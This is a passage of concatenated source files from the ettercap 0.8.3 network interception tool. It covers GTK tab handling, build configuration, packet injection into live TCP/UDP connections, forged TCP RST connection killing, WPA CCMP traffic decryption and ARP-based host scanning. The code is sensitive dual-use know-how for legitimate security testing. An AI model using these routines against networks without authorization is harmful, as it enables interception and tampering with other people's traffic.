gtk_notebook_append_page(GTK_NOTEBOOK(notebook), parent, hbox); /* attach callback to destroy the tab/page */ g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK(gtkui_page_close), parent); /* attach callback to do specific clean-up */ if(callback) g_object_set_data(G_OBJECT (parent), "destroy", callback); if(detacher) g_object_set_data(G_OBJECT (parent), "detach", detacher); gtkui_page_present(parent); return(parent); } /* show and focus the page containing child */ void gtkui_page_present(GtkWidget *child) { int num = 0; num = gtk_notebook_page_num(GTK_NOTEBOOK (notebook), child); gtk_notebook_set_current_page(GTK_NOTEBOOK (notebook), num); #if GTK_MINOR_VERSION == 2 gtkui_page_defocus_tabs(); #endif } /* defocus tab buttons in notebook (gtk bug work-around */ /* GTK+ 2.0 doesn't have gtk_notebook_get_n_pages and this */ /* bug is fixedin 2.4 so only include this when building on 2.2 */ #if GTK_MINOR_VERSION == 2 static void gtkui_page_defocus_tabs(void) { GList *list = NULL, *curr = NULL; GtkWidget *contents, *label; int pages = 0; /* make sure all the close buttons loose focus */ for(pages = gtk_notebook_get_n_pages(GTK_NOTEBOOK (notebook)); pages > 0; pages--) { contents = gtk_notebook_get_nth_page(GTK_NOTEBOOK (notebook), (pages - 1)); label = gtk_notebook_get_tab_label(GTK_NOTEBOOK (notebook), contents); list = gtk_container_get_children(GTK_CONTAINER (label)); for(curr = list; curr != NULL; curr = curr->next) if(GTK_IS_BUTTON (curr->data)) gtk_button_leave(GTK_BUTTON (curr->data)); } } #endif /* close the page containing the child passed in "data" */ void gtkui_page_close(GtkWidget *widget, gpointer data) { GtkWidget *child; gint num = 0; void (*callback)(void); /* variable not used */ (void) widget; (void) data; DEBUG_MSG("gtkui_page_close"); num = gtk_notebook_page_num(GTK_NOTEBOOK(notebook), GTK_WIDGET (data)); child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); g_object_ref(G_OBJECT(child)); gtk_notebook_remove_page(GTK_NOTEBOOK(notebook), num); callback = g_object_get_data(G_OBJECT (child), "destroy"); if(callback) callback(); } /* close the currently focused notebook page */ void gtkui_page_close_current(void) { GtkWidget *child; gint num = 0; num = gtk_notebook_get_current_page(GTK_NOTEBOOK (notebook)); child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); gtkui_page_close(NULL, child); } /* show the context menu when the notebook tabs recieve a mouse right-click */ gboolean gtkui_context_menu(GtkWidget *widget, GdkEventButton *event, gpointer data) { /* variable not used */ (void) widget; if(event->button == 3) { gtk_menu_popup(GTK_MENU(data), NULL, NULL, NULL, NULL, 3, event->time); /* * button press event handle must return TRUE to keep the selection * active when pressing the mouse button */ return TRUE; } return FALSE; } /* detach the currently focused notebook page into a free window */ void gtkui_page_detach_current(void) { void (*detacher)(GtkWidget *); GtkWidget *child; gint num = 0; num = gtk_notebook_get_current_page(GTK_NOTEBOOK (notebook)); if(num < 0) return; child = gtk_notebook_get_nth_page(GTK_NOTEBOOK(notebook), num); g_object_ref(G_OBJECT(child)); gtk_notebook_remove_page(GTK_NOTEBOOK(notebook), num); detacher = g_object_get_data(G_OBJECT (child), "detach"); if(detacher) detacher(child); } void gtkui_page_attach_shortcut(GtkWidget *win, void (*attacher)(void)) { GtkAccelGroup *accel; GClosure *closure = NULL; GdkModifierType mods; gint keyval; accel = gtk_accel_group_new (); gtk_window_add_accel_group(GTK_WINDOW (win), accel); closure = g_cclosure_new(G_CALLBACK(attacher), NULL, NULL); gtk_accelerator_parse ("D", &keyval, &mods); gtk_accel_group_connect(accel, keyval, mods, 0, closure); } /* change view and focus to the next notebook page */ void gtkui_page_right(void) { gtk_notebook_next_page(GTK_NOTEBOOK (notebook)); } /* change view and focus to previous notebook page */ void gtkui_page_left(void) { gtk_notebook_prev_page(GTK_NOTEBOOK (notebook)); } /* for connecting to browse buttons, pass entry widget as callback "data" */ void gtkui_filename_browse(GtkWidget *widget, gpointer data) { GtkWidget *dialog = NULL; gint response = 0; const char *filename = NULL; /* variable not used */ (void) widget; dialog = gtk_file_chooser_dialog_new("Select a file...", NULL, GTK_FILE_CHOOSER_ACTION_OPEN, GTK_STOCK_CANCEL, GTK_RESPONSE_CANCEL, GTK_STOCK_OK, GTK_RESPONSE_OK, NULL); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(dialog)); gtk_entry_set_text(GTK_ENTRY (data), filename); } gtk_widget_destroy(dialog); } /* make sure data is valid UTF8 */ char *gtkui_utf8_validate(char *data) { const gchar *end; char *unicode = NULL; unicode = data; if(!g_utf8_validate (data, -1, &end)) { /* if "end" pointer is at begining of string, we have no valid text to print */ if(end == unicode) return(NULL); /* cut off the invalid part so we don't lose the whole string */ /* this shouldn't happen often */ unicode = (char *)end; *unicode = 0; unicode = data; } return(unicode); } GtkWidget *gtkui_box_new(gint orientation, gint spacing, gboolean homogenious) { #if GTK_CHECK_VERSION(3, 0, 0) (void) homogenious; return gtk_box_new(orientation, spacing); #else if (orientation == GTK_ORIENTATION_VERTICAL) return gtk_vbox_new(homogenious, spacing); else return gtk_hbox_new(homogenious, spacing); #endif } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/CMakeLists.txt0000644000175000017500000000653413505247364020656 0ustar koeppeakoeppeaset(EC_TEXT_SRC text/ec_text.c text/ec_text_conn.c text/ec_text_display.c text/ec_text_plugin.c text/ec_text_profile.c text/ec_text_redirect.c ) include_directories(text) set(EC_DAEMON_SRC daemon/ec_daemon.c) include_directories(daemon) if(ENABLE_CURSES) set(EC_CURSES_SRC curses/ec_curses.c curses/ec_curses_filters.c curses/ec_curses_help.c curses/ec_curses_hosts.c curses/ec_curses_live.c curses/ec_curses_logging.c curses/ec_curses_mitm.c curses/ec_curses_offline.c curses/ec_curses_plugins.c curses/ec_curses_start.c curses/ec_curses_targets.c curses/ec_curses_view.c curses/ec_curses_view_connections.c curses/ec_curses_view_profiles.c ) include_directories(curses) set(EC_WDG_SRC curses/widgets/wdg.c curses/widgets/wdg_compound.c curses/widgets/wdg_debug.c curses/widgets/wdg_dialog.c curses/widgets/wdg_dynlist.c curses/widgets/wdg_error.c curses/widgets/wdg_file.c curses/widgets/wdg_input.c curses/widgets/wdg_list.c curses/widgets/wdg_menu.c curses/widgets/wdg_panel.c curses/widgets/wdg_percentage.c curses/widgets/wdg_scroll.c curses/widgets/wdg_window.c ) include_directories(curses/widgets) # add_library(ec_wdg STATIC ${EC_WDG_SRC}) # target_link_libraries(ec_wdg ${EC_LIBS}) endif() if(ENABLE_GTK) if("${GTK_BUILD_TYPE}" STREQUAL "GTK2" OR "${HAVE_GTK3COMPAT}") include_directories(gtk) set(EC_GTK_SRC gtk/ec_gtk.c gtk/ec_gtk_conf.c gtk/ec_gtk_filters.c gtk/ec_gtk_help.c gtk/ec_gtk_hosts.c gtk/ec_gtk_live.c gtk/ec_gtk_logging.c gtk/ec_gtk_menus.c gtk/ec_gtk_mitm.c gtk/ec_gtk_offline.c gtk/ec_gtk_plugins.c gtk/ec_gtk_redirect.c gtk/ec_gtk_start.c gtk/ec_gtk_targets.c gtk/ec_gtk_view.c gtk/ec_gtk_view_connections.c gtk/ec_gtk_view_profiles.c ) else() # full GTK3 support, using gtk3 code include_directories(gtk3) set(EC_GTK_SRC gtk3/ec_gtk3.c gtk3/ec_gtk3_conf.c gtk3/ec_gtk3_filters.c gtk3/ec_gtk3_help.c gtk3/ec_gtk3_hosts.c gtk3/ec_gtk3_live.c gtk3/ec_gtk3_logging.c gtk3/ec_gtk3_menus.c gtk3/ec_gtk3_mitm.c gtk3/ec_gtk3_offline.c gtk3/ec_gtk3_plugins.c gtk3/ec_gtk3_redirect.c gtk3/ec_gtk3_start.c gtk3/ec_gtk3_targets.c gtk3/ec_gtk3_view.c gtk3/ec_gtk3_view_connections.c gtk3/ec_gtk3_view_profiles.c gtk3/ec_gtk3_shortcuts.c ) endif() endif() add_library(ec_interfaces SHARED ../ec_interfaces.c ${EC_TEXT_SRC} ${EC_DAEMON_SRC} ${EC_WDG_SRC} ${EC_CURSES_SRC} ${EC_GTK_SRC}) set_target_properties(ec_interfaces PROPERTIES ENABLE_EXPORTS On POSITION_INDEPENDENT_CODE ON # LINK_INTERFACE_LIBRARIES "" OUTPUT_NAME ettercap-ui VERSION ${VERSION} SOVERSION 0 ) target_link_libraries(ec_interfaces ${EC_INTERFACES_LIBS} ${EC_LIBS}) install(TARGETS ec_interfaces DESTINATION ${INSTALL_LIBDIR}) ettercap-0.8.3/src/ec_inject.c0000644000175000017500000001522513505247364016057 0ustar koeppeakoeppea/* ettercap -- TCP/UDP injection module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* globals */ static SLIST_HEAD (, inj_entry) injectors_table; struct inj_entry { u_int32 type; u_int8 level; FUNC_INJECTOR_PTR(injector); SLIST_ENTRY (inj_entry) next; }; /* proto */ size_t inject_protocol(struct packet_object *po); /*******************************************/ /* * add an injector to the injector table */ void add_injector(u_int8 level, u_int32 type, FUNC_INJECTOR_PTR(injector)) { struct inj_entry *e; SAFE_CALLOC(e, 1, sizeof(struct inj_entry)); e->level = level; e->type = type; e->injector = injector; SLIST_INSERT_HEAD (&injectors_table, e, next); return; } /* * get an injector from the injector table */ void * get_injector(u_int8 level, u_int32 type) { struct inj_entry *e; SLIST_FOREACH (e, &injectors_table, next) { if (e->level == level && e->type == type) return (void *)e->injector; } return NULL; } size_t inject_protocol(struct packet_object *po) { FUNC_INJECTOR_PTR(injector); size_t len = 0; injector = get_injector(CHAIN_ENTRY, po->L4.proto); if (injector == NULL) return 0; /* Start the injector chain */ if (injector(po, &len) == E_SUCCESS) return len; /* if there's an error */ return 0; } /* * the idea is that the application will pass a buffer * and a len, and this function will split up the * buffer to fit the MTU and inject the resulting packet(s). */ int inject_buffer(struct packet_object *po) { /* the packet_object passed is a fake. * it is used only to pass: * - IP source and dest * - IPPROTO * - (tcp/udp) port source and dest * all the field have to be filled in and the buffer * has to be alloc'd */ struct packet_object *pd; size_t injected; u_char *pck_buf; int ret = E_SUCCESS; /* we can't inject in unoffensive mode or in bridge mode */ if (EC_GBL_OPTIONS->unoffensive || EC_GBL_OPTIONS->read || EC_GBL_OPTIONS->iface_bridge) { return -E_INVALID; } /* Duplicate the packet to modify the payload buffer */ pd = packet_dup(po, PO_DUP_NONE); /* Allocate memory for the packet (double sized)*/ SAFE_CALLOC(pck_buf, 1, (EC_GBL_IFACE->mtu * 2)); /* Loop until there's data to send */ do { /* * Slide to middle. First part is for header's stack'ing. * Second part is for packet data. */ pd->packet = pck_buf + EC_GBL_IFACE->mtu; /* Start the injector cascade */ injected = inject_protocol(pd); if (injected == 0) { ret = -E_NOTHANDLED; break; } /* Send on the wire */ send_to_L3(pd); /* Ready to inject the rest */ pd->DATA.inject_len -= injected; pd->DATA.inject += injected; } while (pd->DATA.inject_len); /* we cannot use packet_object_destroy because * the packet is not yet in the queue to tophalf. * so we have to free the duplicates by hand. */ SAFE_FREE(pck_buf); SAFE_FREE(pd->DATA.disp_data); SAFE_FREE(pd); return ret; } void inject_split_data(struct packet_object *po) { size_t max_len; max_len = EC_GBL_IFACE->mtu - (po->L4.header - (po->packet + po->L2.len) + po->L4.len); /* the packet has exceeded the MTU */ if (po->DATA.len > max_len) { po->DATA.inject = po->DATA.data + max_len; po->DATA.inject_len = po->DATA.len - max_len; po->DATA.delta -= po->DATA.len - max_len; po->DATA.len = max_len; } } /* * kill the connection on user request */ int user_kill(struct conn_object *co) { struct ec_session *s = NULL; void *ident; struct packet_object po; size_t ident_len, direction; struct tcp_status *status; /* we can kill only tcp connection */ if (co->L4_proto != NL_TYPE_TCP) return -E_FATAL; DEBUG_MSG("user_kill"); /* prepare the fake packet object */ memcpy(&po.L3.src, &co->L3_addr1, sizeof(struct ip_addr)); memcpy(&po.L3.dst, &co->L3_addr2, sizeof(struct ip_addr)); po.L4.src = co->L4_addr1; po.L4.dst = co->L4_addr2; po.L4.proto = co->L4_proto; /* retrieve the ident for the session */ ident_len = tcp_create_ident(&ident, &po); /* get the session */ if (session_get(&s, ident, ident_len) == -E_NOTFOUND) { SAFE_FREE(ident); return -E_INVALID; } DEBUG_MSG("user_kill: session found"); /* Select right comunication way */ direction = tcp_find_direction(s->ident, ident); SAFE_FREE(ident); status = (struct tcp_status *)s->data; /* send the reset. at least one should work */ send_tcp(&po.L3.src, &po.L3.dst, po.L4.src, po.L4.dst, htonl(status->way[!direction].last_ack), 0, TH_RST, NULL, 0); send_tcp(&po.L3.dst, &po.L3.src, po.L4.dst, po.L4.src, htonl(status->way[direction].last_ack), 0, TH_RST, NULL, 0); return E_SUCCESS; } /* * inject from user */ int user_inject(u_char *buf, size_t size, struct conn_object *co, int which) { struct packet_object po; DEBUG_MSG("user_inject"); /* prepare the fake packet object */ if (which == 1) { memcpy(&po.L3.src, &co->L3_addr1, sizeof(struct ip_addr)); memcpy(&po.L3.dst, &co->L3_addr2, sizeof(struct ip_addr)); po.L4.src = co->L4_addr1; po.L4.dst = co->L4_addr2; } else { memcpy(&po.L3.dst, &co->L3_addr1, sizeof(struct ip_addr)); memcpy(&po.L3.src, &co->L3_addr2, sizeof(struct ip_addr)); po.L4.dst = co->L4_addr1; po.L4.src = co->L4_addr2; } po.L4.proto = co->L4_proto; po.DATA.inject = buf; po.DATA.inject_len = size; po.packet = NULL; po.DATA.disp_data = NULL; /* do the dirty job */ inject_buffer(&po); /* mark the connection as injected */ co->flags = CONN_INJECTED; return E_SUCCESS; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_hash.c0000644000175000017500000000604113505247364015522 0ustar koeppeakoeppea/*** * * Fowler/Noll/Vo hash * * The basis of this hash algorithm was taken from an idea sent * as reviewer comments to the IEEE POSIX P1003.2 committee by: * * Phong Vo (http://www.research.att.com/info/kpv/) * Glenn Fowler (http://www.research.att.com/~gsf/) * * In a subsequent ballot round: * * Landon Curt Noll (http://www.isthe.com/chongo/) * * improved on their algorithm. Some people tried this hash * and found that it worked rather well. In an EMail message * to Landon, they named it the ``Fowler/Noll/Vo'' or FNV hash. * * FNV hashes are designed to be fast while maintaining a low * collision rate. The FNV speed allows one to quickly hash lots * of data while maintaining a reasonable collision rate. See: * * http://www.isthe.com/chongo/tech/comp/fnv/index.html * * for more details as well as other forms of the FNV hash. *** * * NOTE: The FNV-0 historic hash is not recommended. One should use * the FNV-1 hash instead. * * To use the 32 bit FNV-0 historic hash, pass FNV0_32_INIT as the * Fnv32_t hashval argument to fnv_32_buf() or fnv_32_str(). * * To use the recommended 32 bit FNV-1 hash, pass FNV1_32_INIT as the * Fnv32_t hashval argument to fnv_32_buf() or fnv_32_str(). * *** * * Please do not copyright this code. This code is in the public domain. * * LANDON CURT NOLL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO * EVENT SHALL LANDON CURT NOLL BE LIABLE FOR ANY SPECIAL, INDIRECT OR * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF * USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR * OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR * PERFORMANCE OF THIS SOFTWARE. * * By: * chongo /\oo/\ * http://www.isthe.com/chongo/ * * Share and Enjoy! :-) */ #include #include #define FNV_32_PRIME ((Fnv32_t)0x01000193) #define FNV_64_PRIME ((Fnv64_t)0x100000001b3ULL) Fnv32_t fnv_32(void *buf, size_t len) { unsigned char *bp = (unsigned char *)buf; /* start of buffer */ unsigned char *be = bp + len; /* beyond end of buffer */ Fnv32_t hval = FNV1_32_INIT; /* * FNV-1 hash each octet in the buffer */ while (bp < be) { /* multiply by the 32 bit FNV magic prime mod 2^64 */ hval *= FNV_32_PRIME; /* xor the bottom with the current octet */ hval ^= (Fnv32_t)*bp++; } /* return our new hash value */ return hval; } Fnv64_t fnv_64(void *buf, size_t len) { unsigned char *bp = (unsigned char *)buf; /* start of buffer */ unsigned char *be = bp + len; /* beyond end of buffer */ Fnv64_t hval = FNV1_64_INIT; /* * FNV-1 hash each octet of the buffer */ while (bp < be) { /* multiply by the 64 bit FNV magic prime mod 2^64 */ hval *= FNV_64_PRIME; /* xor the bottom with the current octet */ hval ^= (Fnv64_t)*bp++; } /* return our new hash value */ return hval; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_encryption_ccmp.c0000644000175000017500000001367313505247364020004 0ustar koeppeakoeppea/* ettercap -- encryption functions Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /* globals */ #define CCMP_DECRYPT(_i, _b, _b0, _enc, _a, _len, _ctx) { \ /* Decrypt, with counter */ \ _b0[14] = (u_int8)((_i >> 8) & 0xff); \ _b0[15] = (u_int8)(_i & 0xff); \ AES_encrypt(_b0, _b, _ctx); \ XOR_BLOCK(_enc, _b, _len); \ /* Authentication */ \ XOR_BLOCK(_a, _enc, _len); \ AES_encrypt(_a, _a, _ctx); \ } /* protos */ int wpa_ccmp_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa); static inline void get_PN(u_char *PN, u_char *data); static inline void get_BZERO(u_char *BZERO, u_char *mac, u_char *PN, size_t len); static inline void get_AAD(u_char *AAD, u_char *mac, u_char *BZERO); static int ccmp_decrypt(u_char *enc, u_char *BZERO, u_char *B, u_char *A, u_char *mic, size_t len, AES_KEY *ctx); /*******************************************/ /* * IEEE-802.11i-2004 8.3.3.1 */ int wpa_ccmp_decrypt(u_char *mac, u_char *data, size_t len, struct wpa_sa sa) { u_char mic[WPA_CCMP_TRAILER]; u_char PN[6]; /* 48 bit Packet Number */ size_t data_len = len - sizeof(struct wpa_header); u_char AAD[AES_BLOCK_SIZE*2]; u_char BZERO[AES_BLOCK_SIZE], A[AES_BLOCK_SIZE], B[AES_BLOCK_SIZE]; u_char decbuf[len]; AES_KEY aes_ctx; if (len > UINT16_MAX) { return -E_NOTHANDLED; } /* init the AES with the decryption key from SA */ AES_set_encrypt_key(sa.decryption_key, 128, &aes_ctx); /* get the Packet Number */ get_PN(PN, data); /* get the BZERO */ memset(BZERO, 0, sizeof(BZERO)); get_BZERO(BZERO, mac, PN, data_len); /* get the Additional Authentication Data */ memset(AAD, 0, sizeof(AAD)); get_AAD(AAD, mac, BZERO); /* Start with the first block and AAD */ AES_encrypt(BZERO, A, &aes_ctx); XOR_BLOCK(A, AAD, AES_BLOCK_SIZE); AES_encrypt(A, A, &aes_ctx); XOR_BLOCK(A, AAD + AES_BLOCK_SIZE, AES_BLOCK_SIZE); AES_encrypt(A, A, &aes_ctx); BZERO[0] &= 0x07; BZERO[14] = BZERO[15] = 0; AES_encrypt(BZERO, B, &aes_ctx); /* get the MIC trailer. it is after the end of our packet */ memcpy(mic, data + len, WPA_CCMP_TRAILER); XOR_BLOCK(mic, B, WPA_CCMP_TRAILER); /* copy the encrypted data to the decryption buffer (skipping the wpa parameters) */ memcpy(decbuf, data + sizeof(struct wpa_header), len); /* decrypt the packet */ if (ccmp_decrypt(decbuf, BZERO, B, A, mic, len, &aes_ctx) != 0) { //DEBUG_MSG(D_VERBOSE, "WPA (CCMP) decryption failed, packet was skipped"); return -E_NOTHANDLED; } /* * copy the decrypted packet over the original one * overwriting the wpa header. this way the packet is * identical to a non-WPA one. */ memcpy(data, decbuf, len); /* * wipe out the remaining bytes at the end of the packets * we have moved the data over the wpa header and the MIC was left * at the end of the packet. */ memset(data + len - WPA_CCMP_TRAILER, 0, WPA_CCMP_TRAILER); return E_SUCCESS; } /* * IEEE-802.11i-2004 8.3.3.2 * * ---------------------------------------- * |PN0|PN1|Reserved|KeyId|PN2|PN3|PN4|PN5| * ---------------------------------------- */ static inline void get_PN(u_char *PN, u_char *data) { PN[0] = data[0]; PN[1] = data[1]; /* skip the reserved */ PN[2] = data[4]; PN[3] = data[5]; PN[4] = data[6]; PN[5] = data[7]; } static inline void get_BZERO(u_char *BZERO, u_char *mac, u_char *PN, size_t len) { BZERO[0] = 0x59; BZERO[1] = 0; /* this will be set later by the callee */ memcpy(BZERO + 2, mac + 10, ETH_ADDR_LEN); BZERO[8] = PN[5]; BZERO[9] = PN[4]; BZERO[10] = PN[3]; BZERO[11] = PN[2]; BZERO[12] = PN[1]; BZERO[13] = PN[0]; BZERO[14] = ( len >> 8 ) & 0xFF; BZERO[15] = ( len & 0xFF ); } static inline void get_AAD(u_char *AAD, u_char *mac, u_char *BZERO) { AAD[0] = 0; /* AAD length >> 8 */ AAD[1] = 0; /* this will be set below */ AAD[2] = mac[0] & 0x8f; AAD[3] = mac[1] & 0xc7; /* we know 3 addresses are contiguous */ memcpy(AAD + 4, mac + 4, 3 * ETH_ADDR_LEN); AAD[22] = mac[22] & 0x0F; AAD[23] = 0; /* all bits masked */ /* XXX - implement the case of AP to AP 4 addresses wifi header */ /* if WIFI_DATA | WIFI_BACON, we have a QoS Packet */ if ( (mac[0] & (0x80 | 0x08)) == 0x88 ) { AAD[24] = mac[24] & 0x0f; /* just priority bits */ AAD[25] = 0; BZERO[1] = AAD[24]; AAD[1] = 22 + 2; } else { memset(&AAD[24], 0, 2); BZERO[1] = 0; AAD[1] = 22; } } static int ccmp_decrypt(u_char *enc, u_char *BZERO, u_char *B, u_char *A, u_char *mic, size_t len, AES_KEY *ctx) { int i = 1; /* remove the trailer from the length */ len -= WPA_CCMP_TRAILER; while (len >= AES_BLOCK_SIZE) { CCMP_DECRYPT(i, B, BZERO, enc, A, AES_BLOCK_SIZE, ctx); enc += AES_BLOCK_SIZE; len -= AES_BLOCK_SIZE; i++; } /* last block */ if (len != 0) { CCMP_DECRYPT(i, B, BZERO, enc, A, len, ctx); } return memcmp(mic, A, WPA_CCMP_TRAILER); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/ec_scan.c0000644000175000017500000005515313505247364015533 0ustar koeppeakoeppea/* ettercap -- initial scan to build the hosts list Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include #include #include /* globals */ static pthread_mutex_t scan_mutex = PTHREAD_MUTEX_INITIALIZER; /* * SCAN_{LOCK,UNLOCK} and SCANUI_{LOCK,UNLOCK} are two macros * that handles the SAME mutex "scan_mutex". * They are intended to cancel threads that are not getting * the lock (Pressing Crtl+S multiple times while scanning). * They are split because the lock is used in different functions * of different types (void/void*). */ #define SCAN_LOCK do{ if (pthread_mutex_trylock(&scan_mutex)) { \ ec_thread_exit(); return NULL;} \ } while(0) #define SCAN_UNLOCK do{ pthread_mutex_unlock(&scan_mutex); } while(0) #define SCANUI_LOCK do{ if (pthread_mutex_trylock(&scan_mutex)) { \ return; } \ } while (0) #define SCANUI_UNLOCK SCAN_UNLOCK #define EC_CHECK_LIBNET_VERSION(major,minor) \ (LIBNET_VERSION_MAJOR > (major) || \ (LIBNET_VERSION_MAJOR == (major) && LIBNET_VERSION_MINOR >= (minor))) /* used to create the random list */ static LIST_HEAD (, ip_list) ip_list_head; static struct ip_list **rand_array; /* protos */ void build_hosts_list(void); void del_hosts_list(void); static void scan_netmask(); #ifdef WITH_IPV6 static void scan_ip6_onlink(); #endif static void scan_targets(); int scan_load_hosts(char *filename); int scan_save_hosts(char *filename); void add_host(struct ip_addr *ip, u_int8 mac[MEDIA_ADDR_LEN], char *name); static void random_list(struct ip_list *e, int max); static void get_response(struct packet_object *po); static EC_THREAD_FUNC(scan_thread); void __init hook_init(void); static void hosts_list_hook(struct packet_object *po); /*******************************************/ /* * build the initial host list with ARP requests */ void build_hosts_list(void) { struct hosts_list *hl; int nhosts = 0; DEBUG_MSG("build_hosts_list"); /* don't create the list in bridged mode */ if (EC_GBL_SNIFF->type == SM_BRIDGED) return; /* * load the list from the file * this option automatically enable EC_GBL_OPTIONS->silent */ if (EC_GBL_OPTIONS->load_hosts) { scan_load_hosts(EC_GBL_OPTIONS->hostsfile); LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) nhosts++; INSTANT_USER_MSG("%d hosts added to the hosts list...\n", nhosts); return; } /* in silent mode, the list should not be created */ if (EC_GBL_OPTIONS->silent) return; /* it not initialized don't make the list */ if (EC_GBL_IFACE->lnet == NULL) return; /* no target defined... */ if (EC_GBL_TARGET1->all_ip && EC_GBL_TARGET2->all_ip && EC_GBL_TARGET1->all_ip6 && EC_GBL_TARGET2->all_ip6 && !EC_GBL_TARGET1->scan_all && !EC_GBL_TARGET2->scan_all) return; /* delete the previous list */ del_hosts_list(); /* check the type of UI we are running under... */ if (EC_GBL_UI->type == UI_TEXT || EC_GBL_UI->type == UI_DAEMONIZE) /* in text mode and daemonized call the function directly */ scan_thread(NULL); else /* do the scan in a separate thread */ ec_thread_new("scan", "scanning thread", &scan_thread, NULL); } /* * the thread responsible of the hosts scan */ static EC_THREAD_FUNC(scan_thread) { struct hosts_list *hl; int i = 1, ret; int nhosts = 0; int threadize = 1; /* variable not used */ (void) EC_THREAD_PARAM; DEBUG_MSG("scan_thread"); /* in text mode and demonized this function should NOT be a thread */ if (EC_GBL_UI->type == UI_TEXT || EC_GBL_UI->type == UI_DAEMONIZE) threadize = 0; #ifdef OS_MINGW /* FIXME: for some reason under windows it does not work in thread mode * to be investigated... */ threadize = 0; #endif /* if necessary, don't create the thread */ if (threadize) ec_thread_init(); /* Only one thread is allowed to scan at a time */ SCAN_LOCK; /* if sniffing is not yet started we need a decoder for the ARP/ND replies */ if (!EC_GBL_SNIFF->active) capture_start(EC_GBL_IFACE); /* * create a simple decode thread, it will call * the right HOOK POINT. so we only have to hook to * ARP packets. */ hook_add(HOOK_PACKET_ARP_RP, &get_response); #ifdef WITH_IPV6 hook_add(HOOK_PACKET_ICMP6_NADV, &get_response); hook_add(HOOK_PACKET_ICMP6_RPLY, &get_response); hook_add(HOOK_PACKET_ICMP6_PARM, &get_response); #endif /* * if at least one ip target is ANY, scan the whole netmask * * the pid parameter is used to kill the thread if * the user request to stop the scan. * * FIXME: ipv4 host gets scanned twice if in target list */ if(EC_GBL_TARGET1->all_ip || EC_GBL_TARGET2->all_ip) { scan_netmask(); #ifdef WITH_IPV6 if (EC_GBL_OPTIONS->ip6scan) scan_ip6_onlink(); #endif } scan_targets(); /* * free the temporary array for random computations * allocated in random_list() */ SAFE_FREE(rand_array); /* * wait a second for some delayed packets... * the other thread is listening for ARP pachets */ ec_usleep(SEC2MICRO(1)); /* remove the hooks for parsing the ARP/ND packets during scan */ hook_del(HOOK_PACKET_ARP, &get_response); #ifdef WITH_IPV6 hook_del(HOOK_PACKET_ICMP6_NADV, &get_response); hook_del(HOOK_PACKET_ICMP6_RPLY, &get_response); hook_del(HOOK_PACKET_ICMP6_PARM, &get_response); #endif /* if sniffing is not started we have to stop the decoder after scan */ if (!EC_GBL_SNIFF->active) capture_stop(EC_GBL_IFACE); /* Unlock Mutex */ SCAN_UNLOCK; /* count the hosts and print the message */ LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { char tmp[MAX_ASCII_ADDR_LEN]; (void)tmp; DEBUG_MSG("Host: %s", ip_addr_ntoa(&hl->ip, tmp)); nhosts++; } INSTANT_USER_MSG("%d hosts added to the hosts list...\n", nhosts); /* update host list*/ ui_update(UI_UPDATE_HOSTLIST); /* * resolve the hostnames only if we are scanning * the lan. when loading from file, hostnames are * already in the file. */ if (!EC_GBL_OPTIONS->load_hosts && EC_GBL_OPTIONS->resolve) { char title[50]; snprintf(title, sizeof(title)-1, "Resolving %d hostnames...", nhosts); INSTANT_USER_MSG("%s\n", title); LIST_FOREACH(hl, &EC_GBL_HOSTLIST, next) { char tmp[MAX_HOSTNAME_LEN]; host_iptoa(&hl->ip, tmp); hl->hostname = strdup(tmp); ret = ui_progress(title, i++, nhosts); /* user has requested to stop the task */ if (ret == UI_PROGRESS_INTERRUPTED) { INSTANT_USER_MSG("Interrupted by user. Partial results may have been recorded...\n"); ec_thread_exit(); } } } /* save the list to the file */ if (EC_GBL_OPTIONS->save_hosts) scan_save_hosts(EC_GBL_OPTIONS->hostsfile); /* if necessary, don't create the thread */ if (threadize) ec_thread_exit(); /* NOT REACHED */ return NULL; } /* * delete the hosts list */ void del_hosts_list(void) { struct hosts_list *hl, *tmp = NULL; SCANUI_LOCK; LIST_FOREACH_SAFE(hl, &EC_GBL_HOSTLIST, next, 